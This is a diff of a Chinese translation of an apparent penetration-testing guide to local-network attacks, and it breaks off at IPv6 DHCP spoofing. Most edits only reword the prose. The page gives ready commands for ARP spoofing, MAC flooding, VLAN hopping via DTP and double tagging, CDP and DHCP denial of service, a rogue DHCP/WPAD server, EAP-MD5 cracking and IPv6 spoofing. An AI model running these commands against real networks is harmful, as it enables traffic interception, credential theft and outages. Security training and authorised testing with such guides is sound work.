- **过滤**端口: _SYN --> \[无响应]_
|
||||
- **过滤**端口: _SYN --> ICMP 消息_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
@ -140,7 +140,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
|
||||
有两种选项可以扫描UDP端口:
|
||||
|
||||
- 发送一个**UDP数据包**并检查响应 _**ICMP不可达**_ 如果端口是**关闭**的(在多种情况下,ICMP会被**过滤**,因此如果端口关闭或打开,您将不会收到任何信息)。
|
||||
- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_,如果端口是**关闭**的(在多种情况下,ICMP会被**过滤**,因此如果端口关闭或打开,您将不会收到任何信息)。
|
||||
- 发送**格式化的数据报**以引发**服务**的响应(例如,DNS、DHCP、TFTP等,如_nmap-payloads_中列出)。如果您收到**响应**,那么端口是**打开**的。
|
||||
|
||||
**Nmap**将使用“-sV”**混合这两种**选项(UDP扫描非常慢),但请注意,UDP扫描比TCP扫描慢:
|
||||
@ -157,9 +157,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP 扫描
|
||||
|
||||
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组成部分,旨在通过 IP 网络传输 SS7 信号。
|
||||
**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多在 **信令系统 7 (SS7)** 中发现的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组成部分,旨在通过 IP 网络传输 SS7 信号。
|
||||
|
||||
各种操作系统提供对 **SCTP** 的支持,如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**,这表明其在电信和网络领域的广泛接受和实用性。
|
||||
各种操作系统提供对 **SCTP** 的支持,如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**,这表明它在电信和网络领域的广泛接受和实用性。
|
||||
|
||||
nmap 提供了两种不同的 SCTP 扫描: _-sY_ 和 _-sZ_
|
||||
```bash
|
||||
@ -168,21 +168,23 @@ nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||||
# Nmap all SCTP scan
|
||||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||||
```
|
||||
### IDS 和 IPS 规避
|
||||
### IDS和IPS规避
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ids-evasion.md
|
||||
{{#endref}}
|
||||
|
||||
### **更多 nmap 选项**
|
||||
### **更多nmap选项**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
nmap-summary-esp.md
|
||||
{{#endref}}
|
||||
|
||||
### 揭示内部 IP 地址
|
||||
### 揭示内部IP地址
|
||||
|
||||
**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。**tcpdump** 可以用于识别在测试期间从私有地址接收到的数据包。具体来说,在 Kali Linux 上,可以在 **eth2 接口** 上捕获数据包,该接口可以从公共互联网访问。需要注意的是,如果您的设置位于 NAT 或防火墙后面,这些数据包可能会被过滤掉。
|
||||
**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。可以利用 **tcpdump** 在测试期间识别来自私有地址的接收数据包。具体来说,在Kali Linux上,可以在 **eth2接口** 上捕获数据包,该接口可以从公共互联网访问。需要注意的是,如果您的设置位于NAT或防火墙后面,这些数据包可能会被过滤掉。
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -202,7 +204,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的数据包。
|
||||
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -228,7 +230,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
|
||||
### ARP 欺骗
|
||||
|
||||
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 拥有我们设备的 MAC。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时联系我们的机器。
|
||||
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 拥有我们设备的 MAC。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时与我们的机器联系。
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -244,9 +246,9 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
arpspoof -t 192.168.1.1 192.168.1.2
|
||||
arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
### MAC Flooding - CAM溢出
|
||||
|
||||
通过发送大量具有不同源 MAC 地址的数据包来溢出交换机的 CAM 表。当 CAM 表满时,交换机开始像集线器一样工作(广播所有流量)。
|
||||
通过发送大量具有不同源MAC地址的数据包来溢出交换机的CAM表。当CAM表满时,交换机开始像集线器一样工作(广播所有流量)。
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -256,11 +258,11 @@ macof -i <interface>
|
||||
|
||||
#### 动态干道
|
||||
|
||||
**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式 (Trunk) 或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
|
||||
**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式(Trunk)或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
|
||||
|
||||
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来绕过 VLAN 分段。
|
||||
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来规避 VLAN 分段。
|
||||
|
||||
许多交换机默认存在 DTP,敌手可以利用这一点模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。
|
||||
许多交换机默认存在 DTP,敌手可以利用这一点来模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。
|
||||
|
||||
如果发现网络漏洞,可以使用 _**Yersinia**_ 工具通过 DTP 协议“启用干道”,从而观察所有 VLAN 的数据包。
|
||||
```bash
|
||||
@ -275,11 +277,11 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
要枚举VLAN,也可以使用脚本 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。**
|
||||
要枚举VLAN,也可以使用脚本 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将掉线。**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
我想指出的是,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
|
||||
我想指出,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。**802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。
|
||||
|
||||
通过分析 STP 帧,**我们了解到 VLAN 30 和 VLAN 60 的存在。**
|
||||
|
||||
@ -323,11 +325,11 @@ sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 内的主机** 是通过工具 **自动执行** 的: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
讨论的攻击 **动态干线和创建虚拟接口以发现其他 VLAN 内的主机** 是通过工具 **[https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)** **自动执行** 的。
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送一个数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP)。
|
||||
如果攻击者知道 **受害主机的 MAC、IP 和 VLAN ID 的值**,他可以尝试 **双重标记一个帧**,使用其指定的 VLAN 和受害者的 VLAN 并发送数据包。由于 **受害者无法与攻击者连接**,因此 **攻击者的最佳选择是通过 UDP 进行通信**,与可以执行一些有趣操作的协议(如 SNMP)。
|
||||
|
||||
攻击者的另一个选择是发起 **TCP 端口扫描,伪装成一个由攻击者控制并且受害者可以访问的 IP**(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探,如果它接收到来自受害者的一些数据包。
|
||||
|
||||
@ -342,7 +344,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
如果您**可以访问直接连接的交换机**,您就有能力**绕过 VLAN 分段**。只需**将端口切换到干道模式**(也称为 trunk),创建具有目标 VLAN ID 的虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体情况而定。
|
||||
如果您**可以访问直接连接的交换机**,您就有能力**绕过网络中的VLAN分段**。只需**将端口切换到干线模式**(也称为trunk),创建具有目标VLAN ID的虚拟接口,并配置IP地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体取决于情况。
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,34 +352,34 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有 VLAN)**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。
|
||||
在某些环境中,例如访客无线网络,**端口隔离(也称为私有VLAN)**设置被实施,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络ACL的缺乏或其不当配置,使得IP数据包能够通过路由器路由到同一网络上的另一个客户端。
|
||||
|
||||
攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
|
||||
攻击是通过创建一个**携带目标客户端IP地址但使用路由器MAC地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
|
||||
|
||||
**攻击的关键步骤:**
|
||||
|
||||
1. **构造数据包:** 特别构造一个数据包,包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。
|
||||
2. **利用路由器行为:** 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。
|
||||
1. **构造数据包:** 特别构造一个数据包,以包含目标客户端的IP地址,但使用路由器的MAC地址。
|
||||
2. **利用路由器行为:** 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有VLAN设置提供的隔离。
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
VTP(VLAN Trunking Protocol)集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的 VLAN 数据库。
|
||||
VTP(VLAN Trunking Protocol)集中管理VLAN。它利用修订号来维护VLAN数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的VLAN数据库。
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** 管理 VLAN——创建、删除、修改。它向域成员广播 VTP 通告。
|
||||
- **VTP Client:** 接收 VTP 通告以同步其 VLAN 数据库。此角色限制本地 VLAN 配置修改。
|
||||
- **VTP Transparent:** 不参与 VTP 更新,但转发 VTP 通告。不受 VTP 攻击影响,保持修订号为零。
|
||||
- **VTP Server:** 管理VLAN——创建、删除、修改。它向域成员广播VTP公告。
|
||||
- **VTP Client:** 接收VTP公告以同步其VLAN数据库。此角色限制进行本地VLAN配置修改。
|
||||
- **VTP Transparent:** 不参与VTP更新,但转发VTP公告。不受VTP攻击影响,保持修订号为零。
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** 每 300 秒由 VTP 服务器广播,携带重要的域信息。
|
||||
- **Subset Advertisement:** 在 VLAN 配置更改后发送。
|
||||
- **Advertisement Request:** 由 VTP 客户端发出,请求 Summary Advertisement,通常是响应检测到更高的配置修订号。
|
||||
- **Summary Advertisement:** 每300秒由VTP服务器广播,携带基本域信息。
|
||||
- **Subset Advertisement:** 在VLAN配置更改后发送。
|
||||
- **Advertisement Request:** 由VTP客户端发出,请求Summary Advertisement,通常是响应检测到更高的配置修订号。
|
||||
|
||||
VTP 漏洞仅通过干道端口可被利用,因为 VTP 通告仅通过这些端口传播。在 DTP 攻击场景之后,可能会转向 VTP。像 Yersinia 这样的工具可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效地破坏网络。
|
||||
VTP漏洞仅通过干线端口可被利用,因为VTP公告仅通过它们传播。DTP攻击后的场景可能会转向VTP。像Yersinia这样的工具可以促进VTP攻击,旨在清除VLAN数据库,有效地破坏网络。
|
||||
|
||||
注意:本讨论涉及 VTP 版本 1(VTPv1)。
|
||||
注意:本讨论涉及VTP版本1(VTPv1)。
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
@ -431,37 +433,37 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
在此次攻击中,交换机的CPU和CDP邻居表负担沉重,导致通常所称的**“网络瘫痪”**,这是由于过度的资源消耗。
|
||||
在此攻击中,交换机的 CPU 和 CDP 邻居表负担沉重,导致通常被称为 **“网络瘫痪”** 的情况,因为资源消耗过多。
|
||||
|
||||
#### CDP冒充攻击
|
||||
#### CDP 冒充攻击
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
```
|
||||
您还可以使用 [**scapy**](https://github.com/secdev/scapy/)。确保通过 `scapy/contrib` 包安装它。
|
||||
|
||||
### VoIP攻击和VoIP Hopper工具
|
||||
### VoIP 攻击和 VoIP Hopper 工具
|
||||
|
||||
VoIP电话与IoT设备的集成日益增加,提供了通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能会带来安全风险。
|
||||
VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能会带来安全风险。
|
||||
|
||||
工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟VoIP电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用CDP、DHCP、LLDP-MED和802.1Q ARP等协议发现语音网络的VLAN ID。
|
||||
工具 [**voiphopper**](http://voiphopper.sourceforge.net) 旨在在各种环境中模拟 VoIP 电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用 CDP、DHCP、LLDP-MED 和 802.1Q ARP 等协议发现语音网络的 VLAN ID。
|
||||
|
||||
**VoIP Hopper** 为Cisco发现协议(CDP)提供三种模式:
|
||||
**VoIP Hopper** 为 Cisco 发现协议 (CDP) 提供三种模式:
|
||||
|
||||
1. **嗅探模式** (`-c 0`): 分析网络数据包以识别VLAN ID。
|
||||
2. **欺骗模式** (`-c 1`): 生成自定义数据包,模仿实际VoIP设备的数据包。
|
||||
3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定Cisco IP电话型号相同的数据包。
|
||||
1. **嗅探模式** (`-c 0`): 分析网络数据包以识别 VLAN ID。
|
||||
2. **欺骗模式** (`-c 1`): 生成自定义数据包,模仿实际 VoIP 设备的数据包。
|
||||
3. **使用预制数据包的欺骗模式** (`-c 2`): 发送与特定 Cisco IP 电话型号相同的数据包。
|
||||
|
||||
速度优先的模式是第三种。它需要指定:
|
||||
速度首选模式是第三种。它需要指定:
|
||||
|
||||
- 攻击者的网络接口(`-i` 参数)。
|
||||
- 被模拟的VoIP设备的名称(`-E` 参数),遵循Cisco命名格式(例如,SEP后跟MAC地址)。
|
||||
- 攻击者的网络接口 (`-i` 参数)。
|
||||
- 被模拟的 VoIP 设备名称 (`-E` 参数),遵循 Cisco 命名格式(例如,SEP 后跟 MAC 地址)。
|
||||
|
||||
在企业环境中,为了模仿现有的VoIP设备,可以:
|
||||
在企业环境中,为了模仿现有的 VoIP 设备,可以:
|
||||
|
||||
- 检查电话上的MAC标签。
|
||||
- 检查电话上的 MAC 标签。
|
||||
- 浏览电话的显示设置以查看型号信息。
|
||||
- 将VoIP设备连接到笔记本电脑,并使用Wireshark观察CDP请求。
|
||||
- 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。
|
||||
|
||||
在第三种模式下执行工具的示例命令为:
|
||||
```bash
|
||||
@ -499,11 +501,11 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
一种更自动化的方法是使用工具 [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
您可以使用提到的 DoS 攻击强迫客户端在环境中获取新的租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
|
||||
您可以使用提到的 DoS 攻击强迫客户端在环境中获取新租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,**您可以提供下一个攻击中提到的恶意值**。
|
||||
|
||||
#### 设置恶意值
|
||||
|
||||
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
|
||||
可以使用位于 `/usr/share/responder/DHCP.py` 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获来自客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
|
||||
|
||||
以下是配置流氓 DHCP 服务器的命令选项:
|
||||
|
||||
@ -516,7 +518,7 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- **DHCP 流量的接口**:使用 `-I eth1` 在特定网络接口上监听 DHCP 流量。
|
||||
- **WPAD 配置地址**:使用 `-w “http://10.0.0.100/wpad.dat”` 设置 WPAD 配置的地址,以协助网络流量拦截。
|
||||
- **欺骗默认网关 IP**:包括 `-S` 来欺骗默认网关 IP 地址。
|
||||
- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但要注意这会产生噪音并可能被检测到。
|
||||
- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但请注意这会产生噪音并可能被检测到。
|
||||
|
||||
通过正确使用这些选项,可以有效地建立一个流氓 DHCP 服务器以拦截网络流量。
|
||||
```python
|
||||
@ -533,13 +535,13 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- 强制EAP-MD5身份验证以绕过TLS证书验证
|
||||
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
|
||||
|
||||
如果攻击者位于受害者和身份验证服务器之间,他可以尝试降级(如有必要)身份验证协议至EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解:
|
||||
如果攻击者位于受害者与身份验证服务器之间,他可以尝试将身份验证协议降级(如有必要)为EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) 攻击 <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP**(第一跳冗余协议)是一类旨在**创建热冗余路由系统**的网络协议。通过 FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。
|
||||
**FHRP** (第一跳冗余协议) 是一类网络协议,旨在 **创建一个热冗余路由系统**。通过 FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。
|
||||
|
||||
**思科系统工程师开发了两种 FHRP 协议,GLBP 和 HSRP。**
|
||||
|
||||
@ -549,7 +551,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
已知存在三种版本的路由信息协议(RIP):RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面,RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
|
||||
已知存在三种版本的路由信息协议 (RIP):RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面,RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
|
||||
|
||||
- **RIP 和 RIPv2:** 通过 UDP 数据报在 520 端口进行通信。
|
||||
- **RIPng:** 利用 UDP 521 端口通过 IPv6 多播广播数据报。
|
||||
@ -558,21 +560,21 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### EIGRP 攻击
|
||||
|
||||
**EIGRP(增强型内部网关路由协议)**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**身份验证**和被动接口的配置,**入侵者**可以干扰 EIGRP 路由并导致**路由表中毒**。此外,EIGRP 网络(换句话说,自治系统)**是扁平的,没有划分为任何区域**。如果**攻击者注入一条路由**,这条路由很可能会**传播**到整个自治 EIGRP 系统中。
|
||||
**EIGRP (增强型内部网关路由协议)** 是一种动态路由协议。**它是一种距离矢量协议。** 如果没有 **身份验证** 和被动接口的配置,**入侵者** 可以干扰 EIGRP 路由并导致 **路由表中毒**。此外,EIGRP 网络(换句话说,自治系统)**是扁平的,没有划分为任何区域**。如果 **攻击者注入一条路由**,这条路由很可能会 **传播** 到整个自治 EIGRP 系统。
|
||||
|
||||
攻击 EIGRP 系统需要**与合法的 EIGRP 路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。
|
||||
攻击 EIGRP 系统需要 **与合法的 EIGRP 路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) 允许您实现**支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
|
||||
[**FRRouting**](https://frrouting.org/) 允许您实现 **支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP(增强型内部网关路由协议)广播的能力。它还允许注入数据包,可用于更改路由配置。
|
||||
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP (增强型内部网关路由协议) 广播的能力。它还允许注入数据包,可用于更改路由配置。
|
||||
|
||||
### OSPF
|
||||
|
||||
在开放最短路径优先(OSPF)协议中,**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection_ 和 _Connection_ 选项卡。
|
||||
在开放最短路径优先 (OSPF) 协议中,**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection_ 和 _Connection_ 选项卡。
|
||||
|
||||
- **捕获和破解 MD5 哈希:** 使用 Loki 和 John the Ripper 等工具。
|
||||
- **配置路由参数:** 通过 _Injection_ 选项卡进行。
|
||||
@ -581,7 +583,7 @@ eigrp-attacks.md
|
||||
### 其他通用工具和资源
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above):扫描网络流量并查找漏洞的工具
|
||||
- 您可以在[**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet)找到一些**关于网络攻击的更多信息**。
|
||||
- 您可以在 [**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet) 找到一些 **关于网络攻击的更多信息**。
|
||||
|
||||
## **欺骗**
|
||||
|
||||
@ -596,7 +598,7 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect 是发送一个类型为 1,代码为 5 的 ICMP 数据包,表示攻击者是到达某个 IP 的最佳方式。然后,当受害者想要联系该 IP 时,它将通过攻击者发送数据包。
|
||||
ICMP重定向是指发送一个类型为1,代码为5的ICMP数据包,表示攻击者是到达某个IP的最佳方式。然后,当受害者想要联系该IP时,它将通过攻击者发送数据包。
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -615,7 +617,7 @@ dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### 本地网关
|
||||
|
||||
系统和网络通常存在多个路由。在本地网络中建立 MAC 地址列表后,使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。
|
||||
系统和网络通常存在多条路径。在本地网络中建立 MAC 地址列表后,使用 _gateway-finder.py_ 来识别支持 IPv4 转发的主机。
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
@ -661,9 +663,9 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### IPv6路由器广告欺骗/洪水攻击
|
||||
### IPv6 路由器广告欺骗/洪水攻击
|
||||
|
||||
某些操作系统默认通过网络中发送的RA数据包配置网关。要将攻击者声明为IPv6路由器,可以使用:
|
||||
一些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
@ -671,7 +673,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCP欺骗
|
||||
|
||||
默认情况下,一些操作系统尝试通过网络中的DHCPv6数据包来配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
|
||||
